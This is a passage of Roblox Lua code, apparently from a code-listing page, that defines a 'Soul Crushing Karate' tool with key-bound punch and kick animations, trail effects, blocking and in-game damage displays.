2397 | ||
2398 | able = false | |
2399 | ||
2400 | attacks[1](mouse) | |
2401 | ||
2402 | attacks[2](mouse) | |
2403 | ||
2404 | attacks[3](mouse) | |
2405 | ||
2406 | attacks[4](mouse) | |
2407 | ||
2408 | attacks[5](mouse) | |
2409 | ||
2410 | able = true | |
2411 | ||
2412 | end | |
2413 | ||
2414 | end) | |
2415 | ||
2416 | mouse.KeyDown:connect(function(key) | |
2417 | ||
2418 | key = key:lower() | |
2419 | ||
2420 | if able then | |
2421 | ||
2422 | if key == "q" then | |
2423 | ||
2424 | able = false | |
2425 | ||
2426 | attacks[2](mouse) | |
2427 | ||
2428 | able = true | |
2429 | ||
2430 | elseif key == "e" then | |
2431 | ||
2432 | able = false | |
2433 | ||
2434 | attacks[1](mouse) | |
2435 | ||
2436 | able = true | |
2437 | ||
2438 | elseif key == "r" then | |
2439 | ||
2440 | able = false | |
2441 | ||
2442 | attacks[3](mouse) | |
2443 | ||
2444 | able = true | |
2445 | ||
2446 | elseif key == "f" then | |
2447 | ||
2448 | able = false | |
2449 | ||
2450 | attacks[4](mouse) | |
2451 | ||
2452 | able = true | |
2453 | ||
2454 | elseif key == "g" then | |
2455 | ||
2456 | able = false | |
2457 | ||
2458 | attacks[5](mouse) | |
2459 | ||
2460 | able = true | |
2461 | ||
2462 | elseif key == "t" then | |
2463 | ||
2464 | able = false | |
2465 | ||
2466 | bloc(mouse) | |
2467 | ||
2468 | able = true | |
2469 | ||
2470 | elseif key == "z" then | |
2471 | ||
2472 | able = false | |
2473 | ||
2474 | holdkey = true | |
2475 | ||
2476 | while holdkey do | |
2477 | ||
2478 | attacks[math.random(1,#attacks)](mouse) | |
2479 | ||
2480 | end | |
2481 | ||
2482 | able = true | |
2483 | ||
2484 | end | |
2485 | ||
2486 | end | |
2487 | ||
2488 | end) | |
2489 | ||
2490 | mouse.KeyUp:connect(function(key) | |
2491 | ||
2492 | key = key:lower() | |
2493 | ||
2494 | if key == "z" then | |
2495 | ||
2496 | holdkey = false | |
2497 | ||
2498 | end | |
2499 | ||
2500 | end) | |
2501 | ||
2502 | end | |
2503 | ||
2504 | if script.Parent.className ~= "HopperBin" then | |
2505 | ||
2506 | h = Instance.new("HopperBin",me.Backpack) | |
2507 | ||
2508 | h.Name = "Soul Crushing Karate" | |
2509 | ||
2510 | script.Parent = h | |
2511 | ||
2512 | end | |
2513 | ||
2514 | bin = script.Parent | |
2515 | ||
2516 | bin.Selected:connect(select) | |
2517 | ||
2518 | end) | |
2519 | ]] | |
2520 | Karate = [[ | |
2521 | ||
2522 | Plrs = game:GetService("Players") | |
2523 | ||
2524 | me = Plrs.LocalPlayer | |
2525 | ||
2526 | char = me.Character | |
2527 | ||
2528 | Modelname = "SoulKarate" | |
2529 | ||
2530 | dmgs = {Pdmg = {7, 13, "Punch"}, Kdmg = {10, 19, "Kick"}, K2dmg = {12, 16, "Doublekick"}, Rdmg = {16, 23, "RoundHouse"}, | |
2531 | ||
2532 | Kardmg = {8, 15, "Karate"}} | |
2533 | ||
2534 | dmg = dmgs.Pdmg | |
2535 | ||
2536 | Surfaces = {"FrontSurface", "BackSurface", "TopSurface", "BottomSurface", "LeftSurface", "RightSurface"} | |
2537 | ||
2538 | necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
2539 | ||
2540 | able = true | |
2541 | ||
2542 | block = false | |
2543 | ||
2544 | breakblock = 19 | |
2545 | ||
2546 | holdkey = false | |
2547 | ||
2548 | effectOn = false | |
2549 | ||
2550 | Add = { | |
2551 | ||
2552 | Sphere = function(P) | |
2553 | ||
2554 | local m = Instance.new("SpecialMesh",P) | |
2555 | ||
2556 | m.MeshType = "Sphere" | |
2557 | ||
2558 | return m | |
2559 | ||
2560 | end, | |
2561 | ||
2562 | BF = function(P) | |
2563 | ||
2564 | local bf = Instance.new("BodyForce",P) | |
2565 | ||
2566 | bf.force = Vector3.new(0, P:GetMass()*187, 0) | |
2567 | ||
2568 | return bf | |
2569 | ||
2570 | end, | |
2571 | ||
2572 | BP = function(P) | |
2573 | ||
2574 | local bp = Instance.new("BodyPosition",P) | |
2575 | ||
2576 | bp.maxForce = Vector3.new(math.huge, 0, math.huge) | |
2577 | ||
2578 | bp.P = 14000 | |
2579 | ||
2580 | return bp | |
2581 | ||
2582 | end, | |
2583 | ||
2584 | BG = function(P) | |
2585 | ||
2586 | local bg = Instance.new("BodyGyro",P) | |
2587 | ||
2588 | bg.maxTorque = Vector3.new(math.huge, math.huge, math.huge) | |
2589 | ||
2590 | bg.P = 14000 | |
2591 | ||
2592 | return bg | |
2593 | ||
2594 | end | |
2595 | ||
2596 | } | |
2597 | ||
2598 | function Part(Parent, Anchor, Collide, Tran, Ref, Color, X, Y, Z, Break) | |
2599 | ||
2600 | local p = Instance.new("Part") | |
2601 | ||
2602 | p.formFactor = "Custom" | |
2603 | ||
2604 | p.Anchored = Anchor | |
2605 | ||
2606 | p.CanCollide = Collide | |
2607 | ||
2608 | p.Transparency = Tran | |
2609 | ||
2610 | p.Reflectance = Ref | |
2611 | ||
2612 | p.BrickColor = BrickColor.new(Color) | |
2613 | ||
2614 | for _, Surf in pairs(Surfaces) do | |
2615 | ||
2616 | p[Surf] = "Smooth" | |
2617 | ||
2618 | end | |
2619 | ||
2620 | p.Size = Vector3.new(X, Y, Z) | |
2621 | ||
2622 | if Break then | |
2623 | ||
2624 | p:BreakJoints() | |
2625 | ||
2626 | else p:MakeJoints() end | |
2627 | ||
2628 | p.Parent = Parent | |
2629 | ||
2630 | return p | |
2631 | ||
2632 | end | |
2633 | ||
2634 | function Weld(p0, p1, x, y, z, a, b, c) | |
2635 | ||
2636 | local w = Instance.new("Weld") | |
2637 | ||
2638 | w.Parent = p0 | |
2639 | ||
2640 | w.Part0 = p0 | |
2641 | ||
2642 | w.Part1 = p1 | |
2643 | ||
2644 | w.C1 = CFrame.new(x,y,z) * CFrame.Angles(a,b,c) | |
2645 | ||
2646 | return w | |
2647 | ||
2648 | end | |
2649 | ||
2650 | function ComputePos(pos1, pos2) | |
2651 | ||
2652 | local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z) | |
2653 | ||
2654 | return CFrame.new(pos1, pos3) | |
2655 | ||
2656 | end | |
2657 | ||
2658 | function getHumanoid(c) | |
2659 | ||
2660 | local h = nil | |
2661 | ||
2662 | for i,v in pairs(c:children()) do | |
2663 | ||
2664 | if v:IsA("Humanoid") and c ~= char then | |
2665 | ||
2666 | if v.Health > 0 then | |
2667 | ||
2668 | h = v | |
2669 | ||
2670 | end | |
2671 | ||
2672 | end | |
2673 | ||
2674 | end | |
2675 | ||
2676 | return h | |
2677 | ||
2678 | end | |
2679 | ||
2680 | function getHead(c, pos, m) | |
2681 | ||
2682 | local h = nil | |
2683 | ||
2684 | local n = nil | |
2685 | ||
2686 | t = c:findFirstChild("Torso") | |
2687 | ||
2688 | if t ~= nil then | |
2689 | ||
2690 | n = t:findFirstChild("Neck") | |
2691 | ||
2692 | end | |
2693 | ||
2694 | for i,v in pairs(c:children()) do | |
2695 | ||
2696 | if v.Name == "Head" then | |
2697 | ||
2698 | if (v.Position - pos).magnitude < m then | |
2699 | ||
2700 | h = v | |
2701 | ||
2702 | end | |
2703 | ||
2704 | end | |
2705 | ||
2706 | end | |
2707 | ||
2708 | return h, n | |
2709 | ||
2710 | end | |
2711 | ||
2712 | for i,v in pairs(char:children()) do | |
2713 | ||
2714 | if v.Name == Modelname then | |
2715 | ||
2716 | v:remove() | |
2717 | ||
2718 | end | |
2719 | ||
2720 | end | |
2721 | ||
2722 | torso = char.Torso | |
2723 | ||
2724 | neck = torso.Neck | |
2725 | ||
2726 | hum = char.Humanoid | |
2727 | ||
2728 | Rarm = char["Right Arm"] | |
2729 | ||
2730 | Larm = char["Left Arm"] | |
2731 | ||
2732 | Rleg = char["Right Leg"] | |
2733 | ||
2734 | Lleg = char["Left Leg"] | |
2735 | ||
2736 | LastHP = hum.Health | |
2737 | ||
2738 | function HpChange(newhp) | |
2739 | ||
2740 | if block and hum.Health > 0.1 then | |
2741 | ||
2742 | local dif = LastHP - newhp | |
2743 | ||
2744 | if dif > 0 then | |
2745 | ||
2746 | local h = LastHP - ((LastHP-newhp)/3) | |
2747 | ||
2748 | hum.Health = h | |
2749 | ||
2750 | wait() | |
2751 | ||
2752 | hum.Health = h | |
2753 | ||
2754 | end | |
2755 | ||
2756 | if dif > breakblock then | |
2757 | ||
2758 | block = false | |
2759 | ||
2760 | local a = Add.BP(torso) | |
2761 | ||
2762 | a.position = torso.Position | |
2763 | ||
2764 | local b = Add.BG(torso) | |
2765 | ||
2766 | b.cframe = CFrame.new(torso.Position, torso.CFrame * CFrame.new(0, 0, -5).p) | |
2767 | ||
2768 | wait(0.6) | |
2769 | ||
2770 | a:remove() | |
2771 | ||
2772 | b:remove() | |
2773 | ||
2774 | able = true | |
2775 | ||
2776 | end | |
2777 | ||
2778 | end | |
2779 | ||
2780 | LastHP = hum.Health | |
2781 | ||
2782 | end | |
2783 | ||
2784 | hum.HealthChanged:connect(HpChange) | |
2785 | ||
2786 | hc = Instance.new("Humanoid") | |
2787 | ||
2788 | hc.Health = 0 | |
2789 | ||
2790 | hc.MaxHealth = 0 | |
2791 | ||
2792 | slash = Instance.new("Sound") | |
2793 | ||
2794 | slash.SoundId = "rbxasset://sounds//swordslash.wav" | |
2795 | ||
2796 | slash.Volume = 0.8 | |
2797 | ||
2798 | slash.Pitch = 1.4 | |
2799 | ||
2800 | slash.Parent = Rarm | |
2801 | ||
2802 | hitsound = Instance.new("Sound") | |
2803 | ||
2804 | hitsound.SoundId = "http://www.roblox.com/asset/?id=2801263" | |
2805 | ||
2806 | hitsound.Volume = 0.55 | |
2807 | ||
2808 | hitsound.Pitch = 2.1 | |
2809 | ||
2810 | hitsound.Parent = torso | |
2811 | ||
2812 | Mo = Instance.new("Model") | |
2813 | ||
2814 | Mo.Name = Modelname | |
2815 | ||
2816 | RABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true) | |
2817 | ||
2818 | LABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true) | |
2819 | ||
2820 | RLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true) | |
2821 | ||
2822 | LLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true) | |
2823 | ||
2824 | RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0) | |
2825 | ||
2826 | LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0) | |
2827 | ||
2828 | RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0) | |
2829 | ||
2830 | LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0) | |
2831 | ||
2832 | RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0) | |
2833 | ||
2834 | LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0) | |
2835 | ||
2836 | RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0) | |
2837 | ||
2838 | LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0) | |
2839 | ||
2840 | TBricks = {} | |
2841 | ||
2842 | for i, v in pairs({Rarm, Larm, Rleg, Lleg}) do | |
2843 | ||
2844 | local p = Part(Mo, false, false, 1, 0, "White", 0.9, 0.9, 0.8, true) | |
2845 | ||
2846 | Weld(v, p, 0, 0.7, 0, 0, 0, 0) | |
2847 | ||
2848 | table.insert(TBricks, {p, hurt = false, able = true}) | |
2849 | ||
2850 | end | |
2851 | ||
2852 | function startEff(part) | |
2853 | ||
2854 | effectOn = true | |
2855 | ||
2856 | local lastPoint = part.Position | |
2857 | ||
2858 | coroutine.resume(coroutine.create(function() | |
2859 | ||
2860 | while effectOn do | |
2861 | ||
2862 | wait() | |
2863 | ||
2864 | local mag = (lastPoint - part.Position).magnitude | |
2865 | ||
2866 | local p = Part(Mo, true, false, 0.2, 0.05, "Institutional white", 0.1, 0.1, mag+0.2, true) | |
2867 | ||
2868 | p.CFrame = CFrame.new(lastPoint, part.Position) * CFrame.new(0, 0, -mag/2) | |
2869 | ||
2870 | Instance.new("BlockMesh",p) | |
2871 | ||
2872 | lastPoint = part.Position | |
2873 | ||
2874 | coroutine.resume(coroutine.create(function() | |
2875 | ||
2876 | for x=0.2,1,0.2 do | |
2877 | ||
2878 | wait() | |
2879 | ||
2880 | p.Transparency = x | |
2881 | ||
2882 | end | |
2883 | ||
2884 | p:remove() | |
2885 | ||
2886 | end)) | |
2887 | ||
2888 | end | |
2889 | ||
2890 | end)) | |
2891 | ||
2892 | end | |
2893 | ||
2894 | function endEff() | |
2895 | ||
2896 | effectOn = false | |
2897 | ||
2898 | end | |
2899 | ||
2900 | function ShowDMG(p, d) | |
2901 | ||
2902 | local mo = Instance.new("Model") | |
2903 | ||
2904 | mo.Name = d | |
2905 | ||
2906 | local pa = Part(mo, false, true, 0, 0, "Bright red", 0.8, 0.2, 0.8, true) | |
2907 | ||
2908 | pa.CFrame = CFrame.new(p.Position) | |
2909 | ||
2910 | pa.Name = "Head" | |
2911 | ||
2912 | local hah = hc:clone() | |
2913 | ||
2914 | hah.Parent = mo | |
2915 | ||
2916 | local bp = Add.BP(pa) | |
2917 | ||
2918 | bp.maxForce = Vector3.new(math.huge, math.huge, math.huge) | |
2919 | ||
2920 | bp.position = p.Position + Vector3.new(0, 2.5, 0) | |
2921 | ||
2922 | Add.BG(pa) | |
2923 | ||
2924 | coroutine.resume(coroutine.create(function() | |
2925 | ||
2926 | wait(0.2) | |
2927 | ||
2928 | mo.Parent = workspace | |
2929 | ||
2930 | wait(1.5) | |
2931 | ||
2932 | mo:remove() | |
2933 | ||
2934 | end)) | |
2935 | ||
2936 | end | |
2937 | ||
2938 | for i, v in pairs(TBricks) do | |
2939 | ||
2940 | v[1].Touched:connect(function(hit) | |
2941 | ||
2942 | local fig = hit.Parent | |
2943 | ||
2944 | H, T = getHumanoid(fig), fig:findFirstChild("Torso") | |
2945 | ||
2946 | if H ~= nil and T ~= nil and v.hurt and v.able then | |
2947 | ||
2948 | hitsound:play() | |
2949 | ||
2950 | v.able = false | |
2951 | ||
2952 | local d = math.random(dmg[1], dmg[2]) | |
2953 | ||
2954 | local hed, ne = getHead(fig, v[1].Position, 2.5) | |
2955 | ||
2956 | if dmg[3] == "RoundHouse" and hed ~= nil then | |
2957 | ||
2958 | d = math.random(dmg[1]*2.4, dmg[2]*2.4) | |
2959 | ||
2960 | coroutine.resume(coroutine.create(function() | |
2961 | ||
2962 | if ne ~= nil then | |
2963 | ||
2964 | for i=0,60,20 do | |
2965 | ||
2966 | ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0) | |
2967 | ||
2968 | wait() | |
2969 | ||
2970 | end | |
2971 | ||
2972 | for i=60,0,-20 do | |
2973 | ||
2974 | ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0) | |
2975 | ||
2976 | wait() | |
2977 | ||
2978 | end | |
2979 | ||
2980 | ne.C0 = necko | |
2981 | ||
2982 | end | |
2983 | ||
2984 | end)) | |
2985 | ||
2986 | end | |
2987 | ||
2988 | H.Health = H.Health - d | |
2989 | ||
2990 | local xd = CFrame.new(v[1].Position, hit.Position) | |
2991 | ||
2992 | hit.Velocity = xd.lookVector * (d*2.3) | |
2993 | ||
2994 | ShowDMG(v[1], d) | |
2995 | ||
2996 | wait(0.34) | |
2997 | ||
2998 | v.able = true | |
2999 | ||
3000 | end | |
3001 | ||
3002 | end) | |
3003 | ||
3004 | end | |
3005 | ||
3006 | Mo.Parent = char | |
3007 | ||
3008 | RAWBattle = nil | |
3009 | ||
3010 | LAWBattle = nil | |
3011 | ||
3012 | function nilparts() | |
3013 | ||
3014 | LAW.Part1 = nil | |
3015 | ||
3016 | RAW.Part1 = nil | |
3017 | ||
3018 | RLW.Part1 = nil | |
3019 | ||
3020 | LLW.Part1 = nil | |
3021 | ||
3022 | LAW.C0 = CFrame.new(0, 0, 0) | |
3023 | ||
3024 | RLW.C0 = CFrame.new(0, 0, 0) | |
3025 | ||
3026 | LLW.C0 = CFrame.new(0, 0, 0) | |
3027 | ||
3028 | RAW.C0 = CFrame.new(0, 0, 0) | |
3029 | ||
3030 | end | |
3031 | ||
3032 | function attach() | |
3033 | ||
3034 | LAW.Part1 = Larm | |
3035 | ||
3036 | RLW.Part1 = Rleg | |
3037 | ||
3038 | LLW.Part1 = Lleg | |
3039 | ||
3040 | RAW.Part1 = Rarm | |
3041 | ||
3042 | LAW.C0 = CFrame.new(0, 0, 0) | |
3043 | ||
3044 | RLW.C0 = CFrame.new(0, 0, 0) | |
3045 | ||
3046 | LLW.C0 = CFrame.new(0, 0, 0) | |
3047 | ||
3048 | RAW.C0 = CFrame.new(0, 0, 0) | |
3049 | ||
3050 | end | |
3051 | ||
3052 | attacks = { | |
3053 | ||
3054 | function(mouse) | |
3055 | ||
3056 | local Orig = torso.CFrame | |
3057 | ||
3058 | local MousePos = mouse.Hit.p | |
3059 | ||
3060 | local bg = Add.BG(torso) | |
3061 | ||
3062 | local bp = Add.BP(torso) | |
3063 | ||
3064 | bp.position = Orig.p | |
3065 | ||
3066 | local CF = ComputePos(Orig.p, MousePos) | |
3067 | ||
3068 | local CF2 = CF | |
3069 | ||
3070 | bg.cframe = CF2 | |
3071 | ||
3072 | attach() | |
3073 | ||
3074 | bp.position = CF * CFrame.new(0, 0, -1.5).p | |
3075 | ||
3076 | startEff(TBricks[3][1]) | |
3077 | ||
3078 | TBricks[3].hurt = true | |
3079 | ||
3080 | slash:play() | |
3081 | ||
3082 | dmg = dmgs.Kdmg | |
3083 | ||
3084 | for i = 0, 100, 100/4 do | |
3085 | ||
3086 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
3087 | ||
3088 | RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/200, 0) | |
3089 | ||
3090 | LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
3091 | ||
3092 | RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7)) | |
3093 | ||
3094 | LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7)) | |
3095 | ||
3096 | CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0) | |
3097 | ||
3098 | bg.cframe = CF2 | |
3099 | ||
3100 | wait() | |
3101 | ||
3102 | end | |
3103 | ||
3104 | wait(0.1) | |
3105 | ||
3106 | TBricks[3].hurt = false | |
3107 | ||
3108 | for i = 100, 0, -100/5 do | |
3109 | ||
3110 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
3111 | ||
3112 | RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/150, 0) | |
3113 | ||
3114 | LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
3115 | ||
3116 | RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7)) | |
3117 | ||
3118 | LAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7)) | |
3119 | ||
3120 | CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0) | |
3121 | ||
3122 | bg.cframe = CF2 | |
3123 | ||
3124 | wait() | |
3125 | ||
3126 | end | |
3127 | ||
3128 | endEff() | |
3129 | ||
3130 | wait() | |
3131 | ||
3132 | nilparts() | |
3133 | ||
3134 | bg:remove() | |
3135 | ||
3136 | bp:remove() | |
3137 | ||
3138 | neck.C0 = necko | |
3139 | ||
3140 | end, | |
3141 | ||
3142 | function(mouse) | |
3143 | ||
3144 | local Orig = torso.CFrame | |
3145 | ||
3146 | local MousePos = mouse.Hit.p | |
3147 | ||
3148 | local bg = Add.BG(torso) | |
3149 | ||
3150 | local bp = Add.BP(torso) | |
3151 | ||
3152 | bp.position = Orig.p | |
3153 | ||
3154 | local CF = ComputePos(Orig.p, MousePos) | |
3155 | ||
3156 | local CF2 = CF | |
3157 | ||
3158 | bg.cframe = CF2 | |
3159 | ||
3160 | attach() | |
3161 | ||
3162 | bp.position = CF * CFrame.new(0, 0, -1.5).p | |
3163 | ||
3164 | TBricks[2].hurt = true | |
3165 | ||
3166 | startEff(TBricks[2][1]) | |
3167 | ||
3168 | slash:play() | |
3169 | ||
3170 | dmg = dmgs.Pdmg | |
3171 | ||
3172 | for i = 0, -90, -90/4 do | |
3173 | ||
3174 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
3175 | ||
3176 | RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
3177 | ||
3178 | LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4)) | |
3179 | ||
3180 | RAW.C0 = CFrame.Angles(0, 0, 0) | |
3181 | ||
3182 | LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i)) | |
3183 | ||
3184 | CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i), 0) | |
3185 | ||
3186 | bg.cframe = CF2 | |
3187 | ||
3188 | wait() | |
3189 | ||
3190 | end | |
3191 | ||
3192 | wait(0.07) | |
3193 | ||
3194 | TBricks[2].hurt = false | |
3195 | ||
3196 | endEff() | |
3197 | ||
3198 | startEff(TBricks[1][1]) | |
3199 | ||
3200 | TBricks[1].hurt = true | |
3201 | ||
3202 | bp.position = CF * CFrame.new(0, 0, -3).p | |
3203 | ||
3204 | slash:play() | |
3205 | ||
3206 | for i = -90, 0, 90/7 do | |
3207 | ||
3208 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i*2+90))) | |
3209 | ||
3210 | RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90)) | |
3211 | ||
3212 | LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i)) | |
3213 | ||
3214 | CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i*2+90), 0) | |
3215 | ||
3216 | bg.cframe = CF2 | |
3217 | ||
3218 | wait() | |
3219 | ||
3220 | end | |
3221 | ||
3222 | wait(0.07) | |
3223 | ||
3224 | TBricks[1].hurt = false | |
3225 | ||
3226 | for i = 0, -90, -90/5 do | |
3227 | ||
3228 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i+90))) | |
3229 | ||
3230 | RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90)) | |
3231 | ||
3232 | RLW.C0 = CFrame.Angles(0, 0, math.rad(i/4+23)) | |
3233 | ||
3234 | LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4-23)) | |
3235 | ||
3236 | CF2 = CF * CFrame.Angles(0, math.rad(i+90), 0) | |
3237 | ||
3238 | bg.cframe = CF2 | |
3239 | ||
3240 | wait() | |
3241 | ||
3242 | end | |
3243 | ||
3244 | endEff() | |
3245 | ||
3246 | wait() | |
3247 | ||
3248 | nilparts() | |
3249 | ||
3250 | bg:remove() | |
3251 | ||
3252 | bp:remove() | |
3253 | ||
3254 | neck.C0 = necko | |
3255 | ||
3256 | end, | |
3257 | ||
3258 | function(mouse) | |
3259 | ||
3260 | local Orig = torso.CFrame | |
3261 | ||
3262 | local MousePos = mouse.Hit.p | |
3263 | ||
3264 | local bg = Add.BG(torso) | |
3265 | ||
3266 | local bp = Add.BP(torso) | |
3267 | ||
3268 | bp.position = Orig.p | |
3269 | ||
3270 | local CF = ComputePos(Orig.p, MousePos) | |
3271 | ||
3272 | local CF2 = CF | |
3273 | ||
3274 | bg.cframe = CF2 | |
3275 | ||
3276 | attach() | |
3277 | ||
3278 | bp.position = CF * CFrame.new(0, 0, -1.5).p | |
3279 | ||
3280 | TBricks[4].hurt = true | |
3281 | ||
3282 | startEff(TBricks[4][1]) | |
3283 | ||
3284 | slash:play() | |
3285 | ||
3286 | dmg = dmgs.K2dmg | |
3287 | ||
3288 | for i = 0, -100, -100/4 do | |
3289 | ||
3290 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
3291 | ||
3292 | RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
3293 | ||
3294 | LLW.C0 = CFrame.Angles(0, 0, math.rad(i)) | |
3295 | ||
3296 | RAW.C0 = CFrame.Angles(math.rad(-i/6), 0, math.rad(-i/7)) | |
3297 | ||
3298 | LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7)) | |
3299 | ||
3300 | CF2 = CF * CFrame.Angles(math.rad(-i/5), math.rad(i), 0) | |
3301 | ||
3302 | bg.cframe = CF2 | |
3303 | ||
3304 | wait() | |
3305 | ||
3306 | end | |
3307 | ||
3308 | wait(0.1) | |
3309 | ||
3310 | bp.position = CF * CFrame.new(0, 0, -3).p | |
3311 | ||
3312 | TBricks[4].hurt = false | |
3313 | ||
3314 | endEff() | |
3315 | ||
3316 | startEff(TBricks[3][1]) | |
3317 | ||
3318 | TBricks[3].hurt = true | |
3319 | ||
3320 | local Cobalt11641, hipow12 = RLW.C0, LLW.C0 | |
3321 | ||
3322 | slash:play() | |
3323 | ||
3324 | for i = -100, -290, -190/5 do | |
3325 | ||
3326 | RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(-i/3-(100/4))) | |
3327 | ||
3328 | LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)-100)) | |
3329 | ||
3330 | CF2 = CF * CFrame.Angles(math.rad(100/5), math.rad(i), 0) | |
3331 | ||
3332 | bg.cframe = CF2 | |
3333 | ||
3334 | wait() | |
3335 | ||
3336 | end | |
3337 | ||
3338 | wait(0.1) | |
3339 | ||
3340 | bp.position = CF * CFrame.new(0, 0, -4.5).p | |
3341 | ||
3342 | TBricks[3].hurt = false | |
3343 | ||
3344 | Cobalt11641, hipow12 = RLW.C0, LLW.C0 | |
3345 | ||
3346 | for i = 0, -70, -70/3 do | |
3347 | ||
3348 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad((i*1.3)+100)) | |
3349 | ||
3350 | RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(i*1.4)) | |
3351 | ||
3352 | LLW.C0 = hipow12 * CFrame.Angles(0, 0, 0) | |
3353 | ||
3354 | RAW.C0 = CFrame.Angles(0, 0, 0) | |
3355 | ||
3356 | LAW.C0 = CFrame.Angles(0, 0, 0) | |
3357 | ||
3358 | CF2 = CF * CFrame.Angles(0, math.rad(-290+i), 0) | |
3359 | ||
3360 | bg.cframe = CF2 | |
3361 | ||
3362 | wait() | |
3363 | ||
3364 | end | |
3365 | ||
3366 | endEff() | |
3367 | ||
3368 | wait() | |
3369 | ||
3370 | nilparts() | |
3371 | ||
3372 | bg:remove() | |
3373 | ||
3374 | bp:remove() | |
3375 | ||
3376 | neck.C0 = necko | |
3377 | ||
3378 | end, | |
3379 | ||
3380 | function(mouse) | |
3381 | ||
3382 | if mouse ~= nil then | |
3383 | ||
3384 | local Orig = torso.CFrame | |
3385 | ||
3386 | local MousePos = mouse.Hit.p | |
3387 | ||
3388 | local bg = Add.BG(torso) | |
3389 | ||
3390 | local bp = Add.BP(torso) | |
3391 | ||
3392 | bp.position = Orig.p | |
3393 | ||
3394 | local CF = ComputePos(Orig.p, MousePos) | |
3395 | ||
3396 | local CF2 = CF | |
3397 | ||
3398 | bg.cframe = CF2 | |
3399 | ||
3400 | startEff(TBricks[3][1]) | |
3401 | ||
3402 | attach() | |
3403 | ||
3404 | bp.position = CF * CFrame.new(0, 0, -1).p | |
3405 | ||
3406 | dmg = dmgs.Rdmg | |
3407 | ||
3408 | for i = 0, 180, 180/7 do | |
3409 | ||
3410 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i/2)) | |
3411 | ||
3412 | RLW.C0 = CFrame.Angles(0, 0, 0) | |
3413 | ||
3414 | LLW.C0 = CFrame.Angles(0, 0, 0) | |
3415 | ||
3416 | RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10)) | |
3417 | ||
3418 | LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10)) | |
3419 | ||
3420 | CF2 = CF * CFrame.Angles(math.rad(i/5.8), math.rad(-i), 0) | |
3421 | ||
3422 | bg.cframe = CF2 | |
3423 | ||
3424 | wait() | |
3425 | ||
3426 | end | |
3427 | ||
3428 | slash:play() | |
3429 | ||
3430 | TBricks[3].hurt = true | |
3431 | ||
3432 | for i = 180, 180+90, 90/4 do | |
3433 | ||
3434 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad((-i*2-180)-90)) | |
3435 | ||
3436 | RLW.C0 = CFrame.Angles(0, 0, math.rad((i*1.45)-(180*1.45))) * CFrame.new(0, (-i+180)/100, 0) | |
3437 | ||
3438 | LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)+(180/3))) | |
3439 | ||
3440 | RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10)) | |
3441 | ||
3442 | LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10)) | |
3443 | ||
3444 | CF2 = CF * CFrame.Angles(math.rad(180/5.8), math.rad(-i), 0) | |
3445 | ||
3446 | bg.cframe = CF2 | |
3447 | ||
3448 | wait() | |
3449 | ||
3450 | end | |
3451 | ||
3452 | TBricks[3].hurt = false | |
3453 | ||
3454 | wait() | |
3455 | ||
3456 | for i = 270, 360, 90/5 do | |
3457 | ||
3458 | local a = i-270 | |
3459 | ||
3460 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i)) | |
3461 | ||
3462 | RLW.C0 = CFrame.Angles(0, 0, math.rad((-a*1.1)-(180*1.45))) * CFrame.new(0, (a/100)+((-270+180)/100), 0) | |
3463 | ||
